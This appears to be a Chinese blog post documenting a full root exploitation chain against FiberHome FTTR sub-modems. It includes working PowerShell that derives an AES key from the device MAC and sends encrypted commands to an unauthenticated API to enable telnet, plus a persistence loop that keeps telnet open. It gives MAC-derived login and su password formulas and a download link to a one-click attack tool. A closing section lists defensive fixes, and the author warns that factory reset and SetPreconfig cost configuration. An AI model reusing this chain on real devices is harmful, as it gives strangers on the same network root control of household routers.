我盯着那张失败表看了很久,然后意识到一件事:我一直默认“固化”必须发生在设备内部,可这个前提本身就不成立。
别忘了最开头那个结论——/fh_tool/api 是完全未授权的,任何人同网段拿到 MAC 就能调。既然它随时能从外部打开 telnet,那我根本不需要在设备里留任何东西,把守护放在我自己的电脑上就行。效果一模一样,副作用是零。
逻辑很朴素:定时戳一下设备,如果它在线、而且 23 端口关着,就重新下发一次 TelnetEnable。设备重启、掉电、被恢复出厂,我这个脚本都会在它回来的第一时间把 telnet 重新打开。
$mac = 'MAC_ADDR' # 大写、无分隔符
$h = [System.Security.Cryptography.SHA256]::Create().ComputeHash(
[Text.Encoding]::ASCII.GetBytes($mac))
$d = ($h | ForEach-Object { $_.ToString('x2') }) -join ''
$key = -join (0..15 | ForEach-Object { $d[2 * $_ + 2] })
$iv = -join (0..15 | ForEach-Object { $d[3 * $_ + 3] })
function Test-Port { param($h, $p)
$c = New-Object System.Net.Sockets.TcpClient
try {
$ar = $c.BeginConnect($h, $p, $null, $null)
if ($ar.AsyncWaitHandle.WaitOne(2000, $false)) { $c.EndConnect($ar); return $true }
return $false
} catch { return $false } finally { $c.Close() }
}
function Enable-Telnet {
$json = ([ordered]@{ index='1'; func='TelnetEnable'; telnet='1' } | ConvertTo-Json -Compress)
$a = [System.Security.Cryptography.Aes]::Create()
$a.Mode = 'CBC'; $a.Padding = 'PKCS7'
$a.Key = [Text.Encoding]::ASCII.GetBytes($key)
$a.IV = [Text.Encoding]::ASCII.GetBytes($iv)
$ct = $a.CreateEncryptor().TransformFinalBlock(
[Text.Encoding]::UTF8.GetBytes($json), 0, $json.Length)
curl.exe -s --max-time 10 -H "Content-Type: text/plain" -H "Connection: close" `
--data-binary ([Convert]::ToBase64String($ct)) 'http://TARGET/fh_tool/api' | Out-Null
}
while ($true) {
if (Test-Port 'TARGET' 80) {
if (-not (Test-Port 'TARGET' 23)) {
Enable-Telnet
Write-Host "$(Get-Date -f 'HH:mm:ss') telnet 未开,已下发 TelnetEnable"
}
}
Start-Sleep 30
}
这段脚本我实际跑过。它比“内部固化”好在三个地方,而且都是实打实的:
- 零设备改动。不碰配置、不换驱动、不影响 WiFi 和业务。设备那边始终是出厂状态。
- 可逆。想停就停,把脚本一关,设备上不留任何痕迹。
- 恢复出厂、固件升级之后依然有效。它不依赖设备持久化——未授权这件事来自固件设计本身,不会因为重启或升级而消失。
唯一的依赖是 MAC 不变。而 MAC 是硬件属性,恢复出厂和固件升级都不会改它。所以这个前提是稳的。
说白了,我没能“破解”这台设备的持久化机制——我绕过了它。原来我以为要在设备里找一个入口,最后发现真正的“入口”根本不在设备里,而在那台随时能调未授权接口的电脑上。把守护放在外面,等于把“固化”这件事从设备问题变成了我自己的脚本问题,而后者我完全可控。
这一节收尾时的一句提醒
如果你照着做,验证固化有没有成功,有一个纪律必须守住:重启之后,绝对不要再去调 TelnetEnable。否则你分不清 23 端口是自己开起来的,还是你手动开的。正确做法是重启完,只查 23 端口,别的什么都不碰。
我做这一整轮验证的时候,就是靠这条纪律才确认“内部固化真的没成功”——如果我重启后顺手又开了一次,很可能就误判成“固化生效了”,然后在下一篇文章里把这个错误结论写给所有人看。
收尾前的踩坑记录:这部分可能比结论有用
技术过程能复现,但踩过的坑才是真正花时间的地方。我把几个记得住的都列出来,你如果照着做,能少走点弯路。
第一个坑:把“攻击机掉线”误判成“设备离线”。中途有一次,ping 不通、23 和 80 端口全 timeout、ARP 表里目标网段一个条目都没有,我一度判定“设备挂了”,还去检查电源。真实原因是我自己的电脑 WiFi 掉线了,跟设备一点关系没有。重连之后一切恢复,GetDevInfo 立刻正常。这个教训很朴素但很值钱:在对这类设备做批量探测之前,先确认你自己的网络是连着的;一旦掉线,之前所有“端点异常”的结论全部作废。
第二个坑:把回显当成提示符。前面提过一次。telnet 会回显,读取窗口太短就会把敲进去的密码当成登录成功的标志。判据只看 $、#、Error! 这三个。
第三个坑:设备只容忍一条并发 telnet 连接。我图省事并行跑了好几个测试脚本,结果互相踩,服务端直接发 RST,报“Unable to write data to the transport connection”。老老实实串行、每次间隔两秒以上、用完彻底关连接,别贪快。
第四个坑,也是我这次最想认的错:那个恢复出厂测试,代价比我想的大。
当时为了验证“密码是固定值还是随机值”,我执行了 RestoreDefaultSettings。验证目的达到了,但我事先低估了它的破坏范围——恢复出厂会把这台机器上跟运营商相关的配置一起清掉,PPPoE 账号、FTTR 配对信息、还有装维下发的那些参数,全没了。对一台正在服役的猫来说,这不是按个按钮就完事的。
我是事后才反应过来:在这样一台“只有读接口、没有写接口”的设备上,我原来那句“先备份再改”其实是句空话。因为备份只能用于事后比对,根本没法回写——没有写文件的能力,备份拿在手里也恢复不回去。那句话听起来很稳妥,但它隐含了一个并不成立的前提:我能把东西放回去。
好在这台从猫是挂在主猫下面的,配置可以由主猫重新下发,后来也观察到它确实慢慢恢复了一部分。但如果你要复现这个判断,请一定要提前想清楚:这台设备是不是在生产状态、能不能承受这个代价。别像我一样,先动手后想风险。
还有个细节顺手记一下。我一开始还想通过改“省份预配置”来找带凭据的配置模板——函数清单里有个 SetPreconfig,能切 34 个省份的预配置。我想着切到某个“临时”配置说不定能拿到已知口令。试了一次,副作用立刻就来了:设备原本一个几千字节的用户配置文件被清空了,里面的超管密码、WiFi 密钥、TR-069 参数快照全没了。我赶紧切回广东的配置,好在它是按省下发的,恢复得回来。这又一次印证了同一件事:对这类设备,任何带副作用的接口,动手之前都得想清楚它改的是什么。
整条链路理一遍
把过程压缩成一张图,方便你对着复现。每一步的产物我都标出来了:
① arp -a 取网关 MAC
↓
② sha256(MAC) 派生 key/iv → /fh_tool/api 零凭据可用 ← 支点
↓
③ 函数名 oracle 枚举 → GetAdminAccount 吐 CUAdmin/CUAdmin
↓
④ TelnetEnable(telnet=1) → TCP/23 开
↓
⑤ DownloadFile /var/telsu → root:$5$fh$...
↓
⑥ 恢复出厂对比 → 哈希不变 → 判定为固定值(有代价,慎用)
↓
⑦ 候选公式 + openssl passwd -5 自证 →
登录 = Fh@ + MAC 后 6 位
su = hg2x0 + MAC 后 6 位
↓
⑧ su → id → uid=0(root)
↓
⑨ 读 /proc/cpuinfo、/proc/meminfo、/proc/mtd 补齐硬件结论
↓
⑩ 尝试开机固化 telnet(5 条路全部证伪)
↓
⑪ 改用「设备外守护」:定时戳 23 端口,关了就用 /fh_tool/api 重开
整套流程下来,用的东西其实很少:一个 ARP 命令、一段 PowerShell 的 AES 加解密、一个 SHA256 摘要的取字符规则、再加一个 openssl 命令做验证。没有第三方漏洞利用工具,没有硬件,全靠把设备自己吐出来的信息串起来。如果你懒得手搓这套流程,下文我把它打包成了一个一键小工具。
嫌上面太麻烦?我把它打包成了一个双击即用的小工具
上面这套流程我自己跑一遍不吃力,但说实话,对刚上手的人不友好——ARP 取 MAC、SHA256 派生 key/iv、AES-CBC 拼一段密文 POST 到 /fh_tool/api、再按函数名一个一个试、最后还得靠手速把公式套出来。中间任何一步搞错,现象都是“接口返回一段看不懂的乱码”,很容易卡住。
所以我把整条链路压成了一个 Windows 小工具,双击就能用,不需要装 Python、不需要敲命令、也不懂加密也能点。

它的做法跟正文手搓的完全一样,只是把那些步骤藏进了按钮里:
- 探测设备 & MAC:先探一下 80 端口通不通,再从本机 ARP 表里读出光猫网关的 MAC,自动算好 key/iv——这一步对应正文的①②。
- 「一键开启 telnet + 取超管」那个按钮:把 GetDevInfo、GetAdminAccount、TelnetEnable 三个接口按顺序调一遍,相当于正文的③④。点完这一个按钮,telnet 就开了,超管凭据也直接填进框里。
- 凭据区:telnet 登录、su 提权两组口令按 MAC 规则算好摆在那,旁边有复制按钮——对应正文的⑦。注意这里没有去猜 $5$ 哈希,而是直接套
Fh@ + MAC 后 6 位和hg2x0 + MAC 后 6 位这两个公式,也就是正文验证过的那两条。 - 守护:掉线自动重开:这个勾选框对应正文最后一节。设备重启后 telnet 会掉,勾上它,程序每 30 秒探一次 23 端口,掉了就自动重调 TelnetEnable 重新开——就是那个“设备外守护”的现成实现。
举个最省事的用法:连上这台光猫的 WiFi,打开工具,地址默认就是 192.168.2.1,点一下「探测设备 & MAC」,再点「一键开启 telnet + 取超管」,三组凭据就出现在框里了。剩下的 telnet 连接、su 提权,用任何一个终端软件(Windows 自带的 telnet 客户端、MobaXterm、PuTTY 都行)按框里的凭据登进去就行。
下载与使用:工具已打包成单文件 exe,放在了 NAS 上,可以用下面的链接取:
分享链接:https://ug.link/xiaozou/filemgr/share-download/?id=b284ced7747e4ab6937fd16e6af2f32b
访问密码:8f4Y
双击运行,目标机是 Win10/11 即可,不用装任何运行时(靠系统自带的 .NET Framework 4.x)。
几点得说在前面,免得你踩坑:
- 它只对烽火这一套(HG6371F / HG5145D 这类从猫)有效,因为它依赖
/fh_tool/api这个接口和“MAC 派生密钥”的规则——换别的牌子、别的固件,公式和接口都不成立。 - 超管那一栏能不能读到,取决于你这个固件里有没有
GetAdminAccount这个函数。没有的话它会提示“无响应”,此时直接用CUAdmin / CUAdmin试——联通定制版出厂就是这个,正文第一步讲过。 - 程序不改设备固件、不刷机,做的都是正文里那些接口调用。但它确实会连上你的光猫、会开 telnet,所以只在你自己的设备、自己的网络上用。
- 它是让“复现”变简单,不是让原理变简单。想真正搞明白每一步在干什么,还是建议照着正文从 arp 那一步走一遍。
源码和编译脚本我也一并留了(FgTool.cs + build_exe.ps1,用系统自带的 csc.exe 编译,不依赖 Visual Studio),想改的可以直接拿去看看逻辑——里面每一段都对着正文的步骤,注释写清楚了哪一步对应哪个接口。
站在防御这边看:这些问题不该出现
我拆自己的设备是为了好玩,但把这条链路倒过来看,它暴露的问题挺严重的。如果这台猫是放在别人家客厅里的,同 WiFi 下任何一个能跑脚本的人,都能一路拿到 root。我觉得有几条是很明确的:
/fh_tool/api必须加认证,或者至少绑定来源。现在只要同网段拿到 MAC 就能调GetAdminAccount、TelnetEnable、甚至RestoreDefaultSettings。这是整条链路的起点,也是最该先修的一条。- 超管口令不能硬编码,更不能明文吐出来。每台设备一机一密,跟 MAC 派生这件事也要解耦。
- telnet 凭据不该能从 MAC 推导。现在这种“MAC 后 6 位 + 固定前缀”的规则,等于让 MAC 一旦泄露就等价于 root。而 MAC 是局域网里最容易拿到的东西。
DownloadFile的白名单太宽了。/var/telsu这种直接包含 root 凭据的文件,本来就不该落在一个未认证的下载接口能碰到的地方。- 破坏性操作要有二次确认。
RestoreDefaultSettings、SetPreconfig这类一调就改状态的接口,不该只凭一段加密体就放行。 - telnet 服务本身是个老问题。运营商设备为了运维方便保留它,但至少应该在默认状态下关闭,而不是一个接口就能打开。
写到这我想留个话尾。这套研究方法本身没有多高深,真正让它成立的是设备厂商的“信任边界”划得太随意——把加密密钥交给 MAC、把凭据放在可读目录、把调试接口留在公开路径下。这些东西单看每一条都像“小问题”,串起来就是一条完整的提权链。
后面有空我想把这台机器和它配套的主猫放一起,做个完整的联调测试,看看 FTTR 真正跑起来是什么样。如果你也在折腾烽火的这套 FTTR,欢迎在评论区聊聊你的发现——尤其是主猫那边,我还没碰。

Comments NOTHING